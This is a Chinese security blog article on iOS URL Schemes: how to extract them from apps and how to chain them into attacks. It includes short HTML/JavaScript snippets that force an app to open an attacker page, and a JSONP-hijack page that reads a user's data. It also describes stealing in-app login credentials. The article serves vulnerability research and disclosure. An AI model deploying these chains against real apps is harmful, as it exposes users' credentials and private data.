1. 程式人生 > >iOS URL Schemes與漏洞的碰撞組合

iOS URL Schemes與漏洞的碰撞組合

iOS URL Schemes與漏洞的碰撞組合

前言

iOS URL Schemes,這個單詞對於大多數人來說可能有些陌生,但是類似下面這張圖的提示大部分人應該都經常看見:

今天要探究的就是:瞭解iOS URL Schemes、如何發現iOS URL Schemes、iOS URL Schemes結合漏洞案例。

iOS URL Schemes

基本概念

拋開iOS從URL Schemes的字面意思理解,就是地址協議(Scheme一般用來表示協議,比如 http、https、ftp 等),我們所熟知的HTTP協議的URL格式就是:

http(s)://user:[email protected]

:port/path?query

舉個例子:http://gh0st.cn/,在瀏覽器輸入這個地址,瀏覽器是使用HTTP協議向 gh0st.cn 請求,請求的資源就是 / 。

再來看一下iOS URL Schemes的一個例子:weixin://,你在Safari瀏覽器(Mobile)輸入這個網址就會提示你在"微信"中開啟連結嗎?,然後由你選擇"取消"或"開啟";和HTTP協議格式的URL訪問流程進行對比,iOS URL Schemes 實際上就是啟動一個應用的 URL,其訪問流程是這樣的:

瀏覽器輸入"weixin://" -> iOS識別URL Schemes ->詢問是否跳轉到微信 -> 確認跳轉 -> 從瀏覽器跳轉到微信端

那麼問題就來了,以上所述流程中的"iOS識別URL Schemes",iOS如何識別這段URL Schemes?iOS官方要求的是APP開發者需要自己定義自己APP的"URL Schemes",只有APP本身定義(支援)了URL Schemes,iOS才會去識別然後跳轉

定義

一個完整的 URL Schemes 應該分為 Scheme、Action、Parameter、Value 這 4 個部分,中間用冒號 :、斜線 /、問號 ?、等號 = 相連線。

舉個例子:mst://jump?url=https://gh0st.cn/&title=test

,它對應的4部分就是如下所示:

Scheme(頭): mst、Action(動作): jump、Parameter(引數): url、title、Value(值): https://gh0st.cn、test

不同的部分之間有符號相連,它們也有一定的規則(和URL部分規則是一樣的):

  • 冒號::在連結頭命令之間;

  • 雙斜槓 //:在連結頭和命令之間,有時會是三斜槓 ///
  • 問號 ?:在命令和引數之間;
  • 等號 =:在引數和值之間;
  • 和符號 &:在一組引數和另一組引數之間。

理解

以上述所舉的例子:mst://jump?url=https://gh0st.cn/&title=test,來簡單的說明下這段URL Scheme所產生的效果:

1.跳轉到"mst"所對應的APP

2.在APP中執行jump動作(跳轉網站)

3.告訴APPjump動作所需的urltitle引數,對應的值分別為https://gh0st.cn/test

可以理解為在APP應用中訪問https://gh0st.cn/,網頁標題為test

尋找iOS APP的URL Schemes

當你學會了如何尋找APP的URL Schemes,你就算髮現了半個漏洞。

獲取IPA包

基本的URL Schemes可以在iOS APP中的Info.plist檔案中尋找到,而一般你是無法獲取到APP的ipa包的,所以需要藉助軟體獲取到這個包。

前提是你需要這兩臺裝置:MacBook、iPhone,如果你只擁有一臺iPhone的話也有辦法去獲取(需要Thor APP,具體方法自行尋找)。

Mac上先安裝Apple Configurator 2,然後你需要在該軟體中登入你的Apple賬戶:

使用iPhone充電線將手機連線Mac,這時候軟體中就會顯示已經連線Mac的裝置:

假設你需要獲取微信的URL Schemes,那麼你的手機已經安裝過了微信,然後使用該軟體進行新增,選中裝置點選新增按鈕,選擇應用:

搜尋微信,選中新增:

當你下載完成看見如下提示的時候,在Finder中按快捷鍵Command+Shift+G,輸入~/資源庫/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps/

軟體下載的微信ipa檔案就存在該資料夾中:

進入資料夾將ipa檔案複製到其他地方:

然後回到Apple Configurator 2的提示,點選停止即可。

獲取基本URL Schemes

將IPA包字尾名修改為ZIP,然後解壓,進入Payload目錄會看見一個.APP字尾名檔案,選中檔案右擊顯示包內容:

找到Info.plist檔案並開啟,搜尋關鍵詞URLSchemes

String標籤所包含的就是微信的URL Schemes:

<string>wexinVideoAPI</string>
<string>weixin</string>
<string>weixinapp</string>
<string>fb290293790992170</string>
<string>wechat</string>
<string>QQ41C152CF</string>
<string>prefs</string>

尋找完整URL Schemes

如上已經瞭解瞭如何獲取最基本的URL Schemes,但是這遠遠不夠,因為完整的URL Schemes有4部分,而目前只找到了第一部分,僅僅能做到的功能就是啟動,而想找到更多的非基本URL Schemes需要其他的方法。有很多方法在這裡不一一例舉了,只例幾個常見的思路供你參考。

從手機站點頁面獲取

一般網站都會有這些子域名:m\h5\mobile...

開啟這些子域名,利用Chrome的開發者工具(F12)切換為手機模式檢視,這樣就能模擬手機去訪問了:

那在這裡可以在該頁面的HTML程式碼中尋找URL Schemes(前提是你已經知道了基本的URL Schemes)

在這裡我從頁面的JavaScript程式碼中發現了很多URL Schemes:

有些還有引數,可以根據命名來猜這些URL Schemes的含義,例如path: "mst://jump/core/web/jump",就可以知道這個是做Web跳轉的,那跳轉到哪個地址是什麼引數控制呢?下面也有對應的告訴我們是url引數去控制,也就組成了這樣一個URL Scheme: mst://jump/core/web/jump?url=https://gh0st.cn

QRLCode解析地址獲取

現在很多網站都支援二維碼登入,就比如如下這個網站:

儲存該二維碼進行二維碼解析:

解析得出這是一個URL Scheme,修改json引數url的值為我的網站嘗試在瀏覽器中開啟成功的觸發了跳轉APP,並且在APP中訪問了我的網站。

逆向APP

不僅是iOS,安卓也支援URL Schemes,而一般的定義是一樣的,所以你可以基於獲取基本URL Schemes這個步驟將.APP檔案的字尾去掉,這時候這個檔案就變成了一個資料夾拖到Sublime裡面全域性搜尋"weixin://"即可。

至於安卓的APK的逆向可以參考我之前的一篇文章< 打造Mac下APK逆向環境到實戰介面XSS挖掘 >,可以在原始碼中、所有檔案內容中搜索URL Schemes。

漏洞案例

APP內URL跳轉問題

其實嚴格來講這不算是漏洞,畢竟利用有限,但又和一切能產生危害的問題都算漏洞這句話所衝突,所以在這還是選擇列了出來,至於廠商覺不覺得是個安全性問題,還要看他們對“安全風險“的定義。

如何發現這類問題?在上文中我提到了如何發現URL Schemes,只要你發現了這種型別的URL Schemes就可以嘗試替換地址為你的地址然後使用瀏覽器開啟檢視是否能在APP內跳轉到你的地址,當然利用方式也很簡單,構建一個HTML頁面即可,然後將網址傳送給“受害者”即可:

<script>
window.location='URL Schemes';
</script>

憑證竊取(設計不當)

在做一次漏洞挖掘的時候也碰見了很多次這種問題,大概的描述下就是我找到了能在APP中開啟網頁的入口方式(例如:二維碼掃描、URL Schemes動作),讓APP訪問到我的地址,這樣我就可以直接獲取到APP中登入後的憑證資訊。

利用方式和URL跳轉的方式是一樣的;關於這方面漏洞產生原理得出一個可能“不太嚴謹的結論”:APP在做HTTP請求的時候預設所有訪問的都是信任域,所以帶上了本身已經登入的憑證去請求了

結合漏洞擴大攻擊面

在一次APP的漏洞挖掘中發現了一個JSONP劫持的問題,但是在這裡只會對APP使用者產生影響,在沒有二維碼掃描的情況下就需要結合URL Schemes來擴大這個漏洞的影響面,而不是侷限於self。

利用流程:

使用者開啟https://gh0st.cn/test.html,test.html內容:

<script>
window.location='mst://jump?url=https://gh0st.cn/jsonp.html';
</script>

使用者點開之後啟動mst應用執行jump動作,跳轉到https://gh0st.cn/jsonp.html,jsonp.html內容:

<script>function test(data){ document.write(JSON.stringify(data)) }</script> <script src="JSONP URL"></script>

URL Schemes劫持

這個漏洞是15年在烏雲爆出來的,漏洞編號為:wooyun-2015-0103233,大家可以自行去檢視。

這個問題說白了是一個流程上的缺陷,蘋果官方沒有限制APP定義的URL Schemes名字,導致其他APP也可以定義“支付寶”的URL Schems名字;又因為iOS系統判定URL Schemes優先順序順序與 Bundle ID 有關(一個 Bundle ID 對應一個應用),如果有人精心偽造 Bundle ID,iOS 就會呼叫惡意 App 的 URL Schemes 去接收相應的 URL Schemes 請求,這就導致了可以被劫持。

結尾

還有很多思路等著我們去探尋,此文僅做思路啟發。